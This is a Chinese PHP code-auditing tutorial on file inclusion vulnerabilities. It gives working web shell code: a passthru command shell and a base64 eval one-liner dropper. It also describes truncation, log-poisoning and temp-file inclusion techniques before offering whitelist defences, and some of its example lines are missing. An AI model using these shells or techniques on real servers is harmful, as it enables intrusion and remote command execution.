有位叫做普瑞斯特的大牛针对PHP的web应用列出了下面几种攻击方式:
1.命令注入(CommandInjection)2.eval注入(EvalInjection)3.客户端脚本攻击(ScriptInsertion)4.跨网站脚本攻击(CrossSiteScripting,XSS)5.SQL注入攻击(SQLinjection)6.跨网站请求伪造攻击(CrossSiteRequestForgeries,CSRF)7.Session会话劫持(SessionHijacking)8.Session固定攻击(SessionFixation)9.HTTP响应拆分攻击(HTTPResponseSplitting)10.文件上传漏洞(FileUploadAttack)11.目录穿越漏洞(DirectoryTraversal)12.远程文件包含攻击(RemoteInclusion)13.动态函数注入攻击(DynamicVariableEvaluation)14.URL攻击(URLattack)15.表单提交欺骗攻击(SpoofedFormSubmissions)16.HTTP请求欺骗攻击(SpoofedHTTPRequests)
如此之多的PHP漏洞,各个击破第一讲,叫做《PHP代码审计之远程文件包含》。
二、原理
远程文件包含涉及到的PHP函数有:include()、require()、include_once()、require_once()
这4个函数的区别如下:
Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但PHP脚本继续运行。
Require:包含并运行指定文件,当包含外部文件发生错误时,会报出一个fatalerror,则PHP脚本停止运行。
Include_once:在脚本执行期间包含并运行指定文件。此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。
Require_once:在脚本执行期间包含并运行指定文件。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含。
为什么需要文件包含呢?因为程序员写程序的时候不喜欢做同样的事情,同样的代码也不喜欢写好几次。于是就把需要公用的代码写到一个文件里面。最典型的如数据库的配置信息写入到config.php文件中,然后在其它文件中包含调用。而上面4个函数就是被设计出来达到这个目的的。这本身并没有什么问题,但是如果去包含任意文件时,对这个文件来源过滤不严,就可以包含一个恶意的文件。从而造成文件包含漏洞。
有的时候可能不确定要包含哪个文件,例如:
if($_GET["page"])
{
include$_GET["page"];
}
else
{
include"home.php";
}
?>
使用格式如下:
这段代码是通过$_GET[“page”]这个变量来指定要包含的文件。若$_GET[“page”]为空则包含home.php。而$_GET[“page”]未做任何过滤,直接包含GET过来的信息。
三、利用方法
1,读取本地文件
若我们提交下面的连接,包含一个本地不存在的文件。Helen.php
则系统给出警告。并且爆出绝对路径:D:\WWW\test\index.php
我们多长尝试包含其他文件,也可以利用../../来进行目录跳转,也可以直接指定绝对路径来获取敏感的系统文件。如:
2,执行系统命令
如果目标主机的“allow_url_fopen”选项为on。我们就可以指定其他url上的一个包含php代码的文件来直接运行.比如我放在宅男帮网站上的这个文件/test/shell.txt
后缀名不重要,只要是php格式就行了。
if(get_magic_quotes_gpc())
{
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);
}
ini_set("max_execution_time",0);//设定针对这个文件的执行时间,0为不限制。
passthru($_REQUEST["cmd"]);
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行。把这个文件保存在我们的服务器上。(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了。
接下来我们就可以执行系统命令了。
可能你在别的文章中见过这样通过?Cmd=这种方式执行命令。我之前也是这样做的,但是报错。
通过post提交又可以执行命令
后来问了下大仲,说可能是整过包含的文件要给page变量赋值,如果在url有两个?会误认为是给cmd这个参数赋值。应该改成&。
于是写成这样:
另外说下php提供了system(),exec(),passthru()这几个函数来调用外部的命令。他们的区别:system()输出并返回最后一行shell结果。exec()不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。passthru()只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。相同点:都可以获得命令执行的状态码
3,写入一句话
例如我在宅男帮网站写的eval.txt文件
$fp=fopen("info.php","w+");
$shell=base64_decode("PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=");
fputs($fp,$shell);
fclose($fp);
?>
利用方法:
成功后会在test目录下生成一个info.php,内容为:
四、细节拓展
可能有的程序员代码这么写:
if($_GET["page"])
{
include$_GET["page"].'.php';
}
else
{
include"home.php";
}
?>
这样就限制了包含的文件必须是以.php为后缀。如果我们继续提交刚才的链接
那么服务器会给我们返回如下的内容:
Warning:include(/test/eval.txt.php)[function.include]:failedtoopenstream:HTTPrequestfailed!HTTP/1.1404NotFoundinD:\WWW\test\index.phponline4Warning:include()[function.include]:Failedopening'/test/eval.txt.php'forinclusion(include_path='.;C:\php5\pear')inD:\WWW\test\index.phponline4
若php.ini中allow_url_include为on:
(1)%零零来截断
这时我们可以包含一个远程的文件并在目标服务器写入一句话木马。
注:需要magic_quotes_gpc=Off,php5.3.4以后已经修复了漏洞
(2)?截断
直接提交
这样截断的原理是:是把.php当做参数传递给eval.txt
(3)使用data://或php://input,提交如下内容:
Base64解码后为:
(4)通过使路径长度达到一定长度限制时截断
通常Windows的截断长度为240,Linux的截断长度为4096
用\.或者./或者\或者/截断
若php.ini文件中allow_url_include为off。
(1)我们可以包含本地文件。
(2)包含日志文件
之前有人提供了一个很好的思路,就是访问带有一句话的连接,用长字符填充url使服务器出错,然后错误信息会记录在error.log中。然后在包含本地的错误日志文件。以此来写入shell。但是我提交一句话后左尖括号被转义为
不知道怎么才能绕过,于是病急乱投医。到各个群都问了一圈,无果。后来基友说,我是不是被实体了,最好用burpsuite试试。再后来经测试,还是不行。过了一会基友说,你用访问日志看看。于是乎就有了下文。
过程如下:
如果我提交一个左尖括号这时看到的访问日志的信息是
127.0.0.1--[15/May/:15:16:50+0800]"GET/index.php?page=
然后我用AWVS自带的httpeditor提交
/index.php?page=
发现双引号(“)被转义了,于是用单引号(‘)。
/index.php?page=
接下来包含日志文件,成功写入shell。
五,本地文件包含小技巧
Php有个特性,就是我们向任意php页面发包上传文件都会在tmp目录生成临时文件,文件名前缀为php加3个或3个以上的随机大小写字母加数字。(如:php51B2.tmp)并且存在时间只有一瞬间。而php在windows下有个bug,就是能使用<
因此我们可以先上传一个php文件,然后去包含它的临时文件。
为了能够显示清除整过过程,我把index.php文件修改成:
if($_GET["page"])
{
include$_GET["page"].'.php';
}
else
{
include"home.php";
}
print_r($_FILES);
?>
然后新建一个upload.html文件,代码如下:
《formname="frmUpload"method="post"action="http://localhost/index.php"enctype="multipart/form-data">
《inputtype="file"name="myfile"/>
《inputtype="submit"name="mysub"value="upload"/>
接下来上传一个php文件。通过print_r($_FILES)来打印出临时文件地址。
然后我们可以利用<
六.漏洞修补与防御
关于漏洞的修补与防御,我们也许需要依赖php.ini文件。设置magic_quotes_gpc=On,allow_url_fopen=Off,allow_url_include=Off。
这样可以抵御大多数真的文件包含漏洞的攻击。但是有些web应用程序必须要开启或关闭某些配置才能使用。比如dz要设置allow_url_fopen=On才能自动升级。这样通过配置文件来抵御攻击的这种措施就显得有点鸡肋。那么我们就得从跟本上来解决包含漏洞的问题。想想漏洞产生的原因是什么。是因为我们对变量过滤不严。那么我们就对变量进行过滤。一种较为安全的做法是采用”白名单”的方式将允许包含的文件列出来。只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。可以参考如下代码:
$file=str_replace('/','',$_GET["page"]);
//去掉参数中的/
switch($file)
{
case'head';
case'foot';
case'main';
include'/include/'.$file.'php';
break;
default:
include'home.php';
}
?>